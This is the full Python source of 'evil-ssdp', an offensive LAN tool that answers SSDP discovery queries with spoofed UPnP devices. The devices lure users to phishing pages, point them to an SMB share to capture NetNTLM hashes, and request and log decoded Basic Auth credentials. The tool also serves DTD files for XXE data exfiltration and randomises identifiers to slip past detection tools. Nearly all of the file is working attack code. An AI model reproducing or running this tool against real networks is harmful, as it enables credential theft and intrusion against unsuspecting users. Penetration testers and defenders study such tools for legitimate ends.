#!/usr/bin/env python3

"""
evil-ssdp by initstring (github.com/initstring)

This tool is used to respond to SSDP queries on a LAN, creating fake UPNP
devices that appear in Windows Explorer and inside various applications.

There are multiple use cases, but the primary ideas are:
    * Trick users into visiting malicious sites, grabbing NetNTLM
      challenge/response or clear-text credentials.
    * Exploit 0-day vulnerabilities in the XML parsing engines of applications.
      Several CVEs have come of this, including Plex and Vuze.
"""

try:
    from multiprocessing import Process
    from string import Template
    from http.server import BaseHTTPRequestHandler, HTTPServer
    from socketserver import ThreadingMixIn
    from email.utils import formatdate
    from ipaddress import ip_address
    import sys
    import os
    import re
    import argparse
    import socket
    import struct
    import signal
    import base64
    import random
except ImportError:
    print("\nError importing required modules... Are you using Python3?\n"
          "...you should be.\n")
    sys.exit(1)


BANNER = r'''
___________     .__.__    _________ _________________ __________
\_   _____/__  _|__|  |  /   _____//   _____/\______ \\______   \
 |    __)_\  \/ /  |  |  \_____  \ \_____  \  |    |  \|     ___/
 |        \\   /|  |  |__/        \/        \ |    `   \    |
/_______  / \_/ |__|____/_______  /_______  //_______  /____|
        \/                      \/        \/         \/

...by initstring (github.com/initstring)
'''

print(BANNER)


if sys.version_info < (3, 0):
    print("\nSorry mate, you'll need to use Python 3+ on this one...\n")
    sys.exit(1)


class PC:
    """PC (Print Color)
    Used to generate some colorful, relevant, nicely formatted status messages.
    """
    green = '\033[92m'
    blue = '\033[94m'
    orange = '\033[93m'
    red = '\033[91m'
    endc = '\033[0m'
    ok_box = blue + '[*] ' + endc
    note_box = green + '[+] ' + endc
    warn_box = orange + '[!] ' + endc
    msearch_box = blue + '[M-SEARCH]     ' + endc
    xml_box = green + '[XML REQUEST]  ' + endc
    phish_box = red + '[PHISH HOOKED] ' + endc
    creds_box = red + '[CREDS GIVEN]  ' + endc
    xxe_box = red + '[XXE VULN!!!!] ' + endc
    exfil_box = red + '[EXFILTRATION] ' + endc
    detect_box = orange + '[DETECTION]    ' + endc


class SSDPListener:
    """UDP multicast listener for SSDP queries
    This class object will bind to the SSDP-spec defined multicast address and
    port. We can then receive data from this object, which will be capturing
    the UDP multicast traffic on a local network. Processing is handled in the
    main() function below.
    """

    def __init__(self, local_ip, local_port, analyze):
        self.sock = None
        self.known_hosts = []
        self.local_ip = local_ip
        self.local_port = local_port
        self.analyze_mode = analyze
        ssdp_port = 1900  # Defined by SSDP spec, do not change
        mcast_group = '239.255.255.250'  # Defined by SSDP spec, do not change
        server_address = ('', ssdp_port)

        # The re below can help us identify obviously false requests
        # from detection tools.
        self.valid_st = re.compile(r'^[a-zA-Z0-9.\-_]+:[a-zA-Z0-9.\-_:]+$')

        # Generating a new unique USD/UUID may help prevent signature-like
        # detection tools.
        self.session_usn = ('uuid:'
                            + self.gen_random(8) + '-'
                            + self.gen_random(4) + '-'
                            + self.gen_random(4) + '-'
                            + self.gen_random(4) + '-'
                            + self.gen_random(12))

        # Create the socket
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        # Bind to the server address
        self.sock.bind(server_address)

        # Tell the operating system to add the socket to
        # the multicast group on for the interface on the specific IP.
        group = socket.inet_aton(mcast_group)
        mreq = struct.pack('4s4s', group, socket.inet_aton(self.local_ip))
        self.sock.setsockopt(
            socket.IPPROTO_IP,
            socket.IP_ADD_MEMBERSHIP,
            mreq)

    @staticmethod
    def gen_random(length):
        """Generates random hex strings"""
        chars = 'abcdef'
        digits = '0123456789'
        value = ''.join(random.choices(chars + digits, k=length))
        return value

    def send_location(self, address, requested_st):
        """
        This function replies back to clients letting them know where they can
        access more information about our device. The keys here are the
        'LOCATION' header and the 'ST' header.

        When a client receives this information back on the port they
        initiated a discover from, they will go to that location and parse the
        XML file.
        """
        url = 'http://{}:{}/ssdp/device-desc.xml'.format(self.local_ip,
                                                         self.local_port)
        date_format = formatdate(timeval=None, localtime=False, usegmt=True)

        ssdp_reply = ('HTTP/1.1 200 OK\r\n'
                      'CACHE-CONTROL: max-age=1800\r\n'
                      'DATE: {}\r\n'
                      'EXT:\r\n'
                      'LOCATION: {}\r\n'
                      'OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01\r\n'
                      '01-NLS: {}\r\n'
                      'SERVER: UPnP/1.0\r\n'
                      'ST: {}\r\n'
                      'USN: {}::{}\r\n'
                      'BOOTID.UPNP.ORG: 0\r\n'
                      'CONFIGID.UPNP.ORG: 1\r\n'
                      '\r\n\r\n'
                      .format(date_format,
                              url,
                              self.session_usn,
                              requested_st,
                              self.session_usn,
                              requested_st))
        ssdp_reply = bytes(ssdp_reply, 'utf-8')
        self.sock.sendto(ssdp_reply, address)

    def process_data(self, data, address):
        """
        This function parses the raw data received on the SSDPListener class
        object. If the M-SEARCH header is found, it will look for the specific
        'Service Type' (ST) being requested and call the function to reply
        back, telling the client that we have the device type they are looking
        for.

        The function will log the first time a client does a specific type of
        M-SEARCH - after that it will be silent. This keeps the output more
        readable, as clients can get chatty.
        """
        remote_ip = address[0]
        header_st = re.findall(r'(?i)\\r\\nST:(.*?)\\r\\n', str(data))
        if 'M-SEARCH' in str(data) and header_st:
            requested_st = header_st[0].strip()
            if re.match(self.valid_st, requested_st):
                if (address[0], requested_st) not in self.known_hosts:
                    print(PC.msearch_box + "New Host {}, Service Type: {}"
                          .format(remote_ip, requested_st))
                    self.known_hosts.append((address[0], requested_st))
                if not self.analyze_mode:
                    self.send_location(address, requested_st)
            else:
                print(PC.detect_box + "Odd ST ({}) from {}. Possible"
                      "detection tool!".format(requested_st, remote_ip))


class MultiThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    """Multi-threaded server class
    Setting up this definition allows us to serve multiple HTTP requests in
    parallel. Without this, a client device may hang the HTTP server, blocking
    other devices from properly accessing and parsing the XML files.
    """
    pass


def build_class(upnp_args):
    """
    Python3 documentation states to avoid __init__ in BaseHTTPRequestHandler
    sub class. Because of this, we are building the class inside a function.
    Each request will instantiate a new UPNPObject class object.
    """
    template_dir = upnp_args['template_dir']
    session_usn = upnp_args['session_usn']
    smb_server = upnp_args['smb_server']
    redirect_url = upnp_args['redirect_url']
    is_auth = upnp_args['is_auth']
    realm = upnp_args['realm']
    local_ip = upnp_args['local_ip']
    local_port = upnp_args['local_port']

    class UPNPObject(BaseHTTPRequestHandler):
        """Spoofed UPnP object
        This class contains all the objects and actions required for a spoofed
        UPNP device. Device files will be built on the fly using variables
        passed in at command execution. Logging functions are overwritten to
        print relevant information to the console and log file.

        Any requests to the HTTP server other than those defined will be given
        the phishing page. The phishing page can optionally request an
        interactive logon if the "-b / --basic" has been specified.

        The phishing page the devices SHOULD be requesting is 'present.html'
        but we will serve it to all requests, in case a curious users sees the
        reference and browses there manually.
        """

        @staticmethod
        def build_device_xml():
            """
            Builds the device descriptor XML file.
            """
            variables = {'local_ip': local_ip,
                         'local_port': local_port,
                         'smb_server': smb_server,
                         'session_usn': session_usn}
            file_in = open(template_dir + '/device.xml')
            template = Template(file_in.read())
            xml_file = template.substitute(variables)
            return xml_file

        @staticmethod
        def build_service_xml():
            """
            Builds the service descriptor XML file.
            ***Not yet implemented in evil-ssdp***
            """
            if 'service.xml' in template_dir:
                variables = {'local_ip': local_ip,
                             'local_port': local_port}
                file_in = open(template_dir + '/service.xml')
                template = Template(file_in.read())
                xml_file = template.substitute(variables)
            else:
                xml_file = '.'
            return xml_file

        @staticmethod
        def build_phish_html():
            """
            Builds the phishing page served when users open up an evil device.
            """
            variables = {'smb_server': smb_server,
                         'redirect_url': redirect_url}
            file_in = open(template_dir + '/present.html')
            template = Template(file_in.read())
            phish_page = template.substitute(variables)
            return phish_page

        @staticmethod
        def build_exfil_dtd():
            """
            Builds the required page for data exfiltration when used with the
            xxe-exfil template.
            """
            if 'xxe-exfil' in template_dir:
                variables = {'local_ip': local_ip,
                             'local_port': local_port}
                file_in = open(template_dir + '/data.dtd')
                template = Template(file_in.read())
                exfil_page = template.substitute(variables)
            else:
                exfil_page = '.'
            return exfil_page

        def handle(self):
            """
            Overriding this specifically to catch closed connection
            exceptions.
            """
            try:
                BaseHTTPRequestHandler.handle(self)
            except socket.error:
                print(PC.detect_box + "{} connected but did not complete a"
                      " valid HTTP verb. This is sometimes indicitive of a"
                      " port scan or a detection tool."
                      .format(self.address_string()))

        def do_GET(self):
            """
            Handles all GET requests. Overwrites super class.
            """
            if self.path == '/ssdp/device-desc.xml':
                # Parsed automatically by all SSDP apps
                self.send_response(200)
                self.send_header('Content-type', 'application/xml')
                self.end_headers()
                self.wfile.write(self.build_device_xml().encode())
            elif self.path == '/ssdp/service-desc.xml':
                # Not yet implemented
                self.send_response(200)
                self.send_header('Content-type', 'application/xml')
                self.end_headers()
                self.wfile.write(self.build_service_xml().encode())
            elif self.path == '/ssdp/xxe.html':
                # Access indicates XXE vulnerability
                self.send_response(200)
                self.send_header('Content-type', 'application/xml')
                self.end_headers()
                self.wfile.write('.'.encode())
            elif self.path == '/ssdp/data.dtd':
                # Used for XXE exploitation
                self.send_response(200)
                self.send_header('Content-type', 'application/xml')
                self.end_headers()
                self.wfile.write(self.build_exfil_dtd().encode())
            elif self.path == '/favicon.ico':
                self.send_response(404)
                self.wfile.write('Not found.'.encode())
            else:
                if is_auth:
                    # If user enables -b/--basic in CLI args
                    if 'Authorization' not in self.headers:
                        # If creds not given, ask for them
                        self.process_authentication()
                        self.wfile.write("Unauthorized.".encode())
                    elif 'Basic ' in self.headers['Authorization']:
                        # Return phishing page after getting creds
                        self.send_response(200)
                        self.send_header('Content-type', 'text/html')
                        self.end_headers()
                        self.wfile.write(self.build_phish_html().encode())
                    else:
                        self.send_response(500)
                        self.wfile.write("Something happened.".encode())
                elif self.path == '/present.html':
                    self.send_response(200)
                    self.send_header('Content-type', 'text/html')
                    self.end_headers()
                    self.wfile.write(self.build_phish_html().encode())
                else:
                    # Return phishing page for everything else
                    self.send_response(301)
                    self.send_header('Location', '/present.html')
                    self.end_headers()


        def do_POST(self):
            """
            Handles all POST requests. Overwrites super class.

            We generally only get POSTs to evil-ssdp when using templates
            that contain a logon prompt - phishing for clear-text credentials.

            It's probably best to use these with the '-u' parameter to
            redirect to a legit URL after POSTing. Otherwise, we will simply
            refresh the page.
            """
            if self.path == '/ssdp/do_login.html':
                self.send_response(301)
                if redirect_url:
                    self.send_header('Location', '{}'.format(redirect_url))
                else:
                    self.send_header('Location', 'http://{}:{}/present.html'
                                     .format(local_ip, local_port))
                self.end_headers()

        def process_authentication(self):
            """
            Will prompt user for credentials, causing execution to go back to
            the do_GET funtion for further processing.
            """
            self.send_response(401)
            self.send_header('WWW-Authenticate', 'Basic realm=\"{}\"'
                             .format(realm))
            self.send_header('Content-type', 'text/html')
            self.end_headers()

        @staticmethod
        def write_log(data):
            """
            Will append important info to a log file. This includes credentials
            given via basic auth as well as XXE vulnerabilities.
            """
            with open('logs-essdp.txt', 'a') as log_file:
                time_stamp = formatdate(timeval=None, localtime=True,
                                        usegmt=False)
                log_file.write(time_stamp + ":    " + data + "\n")
                log_file.close()

        def log_message(self, format, *args):
            """
            Overwriting the built in function to provide useful feedback inside
            the text UI. Providing the 'User Agent' is helpful in understanding
            the types of devices that are interacting with evil-ssdp.

            The most important stuff (credentials submitted and XXE vulns) are
            logged to a text file in the working directory.
            """
            address = self.address_string()
            agent = self.headers['user-agent']
            verb = self.command
            path = self.path
            if 'xml' in self.path:
                print(PC.xml_box + "Host: {}, User-Agent: {}"
                      .format(address, agent))
                print("               {} {}".format(verb, path))
            elif 'xxe.html' in self.path:
                data = PC.xxe_box + "Host: {}, User-Agent: {}\n".format(
                    address, agent)
                data += "               {} {}".format(verb, path)
                print(data)
                self.write_log(data)
            elif 'do_login' in self.path:
                content_length = int(self.headers['Content-Length'])
                post_body = self.rfile.read(content_length)
                credentials = post_body.decode('utf-8')
                data = PC.creds_box + "HOST: {}, FORM-POST CREDS: {}".format(
                    address, credentials)
                print(data)
                self.write_log(data)
            elif 'data.dtd' in self.path:
                data = PC.xxe_box + "Host: {}, User-Agent: {}\n".format(
                    address, agent)
                data += "               {} {}".format(verb, path)
                print(data)
                self.write_log(data)
            elif 'exfiltrated' in self.path:
                data = PC.exfil_box + "Host: {}, User-Agent: {}\n".format(
                    address, agent)
                data += "               {} {}".format(verb, path)
                print(data)
                self.write_log(data)
            elif 'present.html' in self.path:
                print(PC.phish_box + "Host: {}, User-Agent: {}".format(
                    address, agent))
                print("               {} {}".format(verb, path))
            elif 'favicon.ico' in self.path:
                return
            else:
                print(PC.detect_box + "Odd HTTP request from Host: {}, User"
                      " Agent: {}".format(address, agent))
                print("               {} {}".format(verb, path))
                print("               ... sending to phishing page.")

            if 'Authorization' in self.headers:
                encoded = self.headers['Authorization'].split(" ")[1]
                plaintext = base64.b64decode(encoded).decode()
                data = PC.creds_box + "HOST: {}, BASIC-AUTH CREDS: {}".format(
                    address, plaintext)
                print(data)
                self.write_log(data)

    return UPNPObject


def process_args():
    """Handles user-passed parameters"""
    parser = argparse.ArgumentParser()
    parser.add_argument('interface', type=str, action='store',
                        help='Network interface to listen on.')
    parser.add_argument('-p', '--port', type=str, action='store',
                        default=8888,
                        help='Port for HTTP server. Defaults to 8888.')
    parser.add_argument('-t', '--template', type=str, action='store',
                        default='office365',
                        help=('Name of a folder in the templates directory. '
                              'Defaults to "office365". This will determine '
                              'xml and phishing pages used.'))
    parser.add_argument('-s', '--smb', type=str, action='store',
                        help=('IP address of your SMB server. Defalts to the '
                              'primary address of the "interface" provided.'))
    parser.add_argument('-b', '--basic', action="store_true",
                        default=False,
                        help=('Enable base64 authentication for templates and '
                              'write credentials to log file.'))
    parser.add_argument("-r", "--realm", type=str, action='store',
                        default='Microsoft Corporation',
                        help='Realm when prompting target for authentication '
                        'via Basic Auth.')
    parser.add_argument("-u", "--url", type=str,
                        default='',
                        help=('Redirect to this URL. Works with templates '
                              'that do a POST for logon forms and with '
                              'templates that include the custom redirect '
                              'JavaScript (see README for more info).'
                              '[example: -r https://google.com]'))
    parser.add_argument("-a", "--analyze", action="store_true",
                        default=False,
                        help=('Run in analyze mode. Will NOT respond to any'
                              ' SSDP queries, but will still enable and run'
                              ' the web server for testing.'))
    args = parser.parse_args()

    # The following two lines help to avoid command injection in bash.
    # Pretty damn unlikely scenario for this tool, but who knows.
    char_whitelist = re.compile('[^a-zA-Z0-9 ._-]')
    args.interface = char_whitelist.sub('', args.interface)

    args.local_port = int(args.port)
    args.template_dir = (os.path.dirname(os.path.abspath(__file__))
                         + '/templates/' + args.template)
    args.is_auth = args.basic
    args.realm = args.realm
    args.redirect_url = args.url

    if not os.path.isdir(args.template_dir):
        print("\nSorry, that template directory does not exist. "
              "Please double-check and try again.\n")
        sys.exit()

    return args


def get_ip(args):
    """
    This function will attempt to automatically get the IP address of the
    provided interface. This is used for serving the XML files and also for
    the SMB pointer, if not specified.
    """
    ip_regex = r'inet (?:addr:)?(.*?) '
    sys_ifconfig = os.popen('ifconfig ' + args.interface).read()
    local_ip = re.findall(ip_regex, sys_ifconfig)
    try:
        return local_ip[0]
    except IndexError:
        print(PC.warn_box + "Could not get network interface info. "
              "Please check and try again.")
        sys.exit()


def set_smb(args, local_ip):
    """
    This function sets the IP address of the SMB server that will be used in
    the phishing page. evil-ssdp does not provide an SMB server itself - it
    only points somewhere. You must host your own SMB server with something
    like Impacket.
    """
    if args.smb:
        if ip_address(args.smb):
            smb_server = args.smb
        else:
            print("Sorry, that is not a valid IP address for your SMB server.")
            sys.exit()
    else:
        smb_server = local_ip
    return smb_server


def print_details(args, local_ip, smb_server):
    """
    Prints a banner at runtime, informing the user of relevant details.
    """
    dev_url = 'http://{}:{}/ssdp/device-desc.xml'.format(
        local_ip, args.local_port)
    srv_url = 'http://{}:{}/ssdp/service-desc.xml'.format(
        local_ip, args.local_port)
    phish_url = 'http://{}:{}/ssdp/present.html'.format(
        local_ip, args.local_port)
    exfil_url = 'http://{}:{}/ssdp/data.dtd'.format(local_ip, args.local_port)
    smb_url = 'file://///{}/smb/hash.jpg'.format(smb_server)
    print("\n\n")
    print("########################################")
    print(PC.ok_box + "EVIL TEMPLATE:           {}".format(args.template_dir))
    print(PC.ok_box + "MSEARCH LISTENER:        {}".format(args.interface))
    print(PC.ok_box + "DEVICE DESCRIPTOR:       {}".format(dev_url))
    print(PC.ok_box + "SERVICE DESCRIPTOR:      {}".format(srv_url))
    print(PC.ok_box + "PHISHING PAGE:           {}".format(phish_url))
    if args.redirect_url:
        print(PC.ok_box + "REDIRECT URL:            {}".format(
            args.redirect_url))
    if args.is_auth:
        print(PC.ok_box + "AUTH ENABLED, REALM:     {}".format(args.realm))
    if 'xxe-exfil' in args.template_dir:
        print(PC.ok_box + "EXFIL PAGE:              {}".format(exfil_url))
    else:
        print(PC.ok_box + "SMB POINTER:             {}".format(smb_url))
    if args.analyze:
        print(PC.warn_box + "ANALYZE MODE:            ENABLED")
    print("########################################")
    print("\n\n")


def listen_msearch(listener):
    """
    Starts the listener object, receiving and processing UDP multicasts.
    """
    while True:
        data, address = listener.sock.recvfrom(1024)
        listener.process_data(data, address)


def serve_html(local_ip, local_port, upnp):
    """
    Starts the web server for delivering XML files and the phishing page.
    """
    MultiThreadedHTTPServer.allow_reuse_address = True
    upnp_server = MultiThreadedHTTPServer((local_ip, local_port), upnp)
    upnp_server.serve_forever()


def main():
    """Main program function
    Uses Process to multi-thread the SSDP server and the web server.
    """
    args = process_args()
    local_ip = get_ip(args)
    smb_server = set_smb(args, local_ip)

    listener = SSDPListener(local_ip, args.local_port, args.analyze)
    ssdp_server = Process(target=listen_msearch, args=(listener,))

    upnp_args = {'template_dir':args.template_dir,
                 'session_usn':listener.session_usn,
                 'smb_server':smb_server,
                 'redirect_url':args.redirect_url,
                 'is_auth':args.is_auth,
                 'local_ip':local_ip,
                 'realm':args.realm,
                 'local_port':args.local_port}

    upnp = build_class(upnp_args)

    web_server = Process(target=serve_html,
                         args=(local_ip, args.local_port, upnp))

    print_details(args, local_ip, smb_server)

    try:
        ssdp_server.start()
        web_server.start()
        signal.pause()
    except (KeyboardInterrupt, SystemExit):
        print("\n" + PC.warn_box +
              "Thanks for playing! Stopping threads and exiting...\n")
        web_server.terminate()
        ssdp_server.terminate()
        sys.exit()



if __name__ == "__main__":
    main()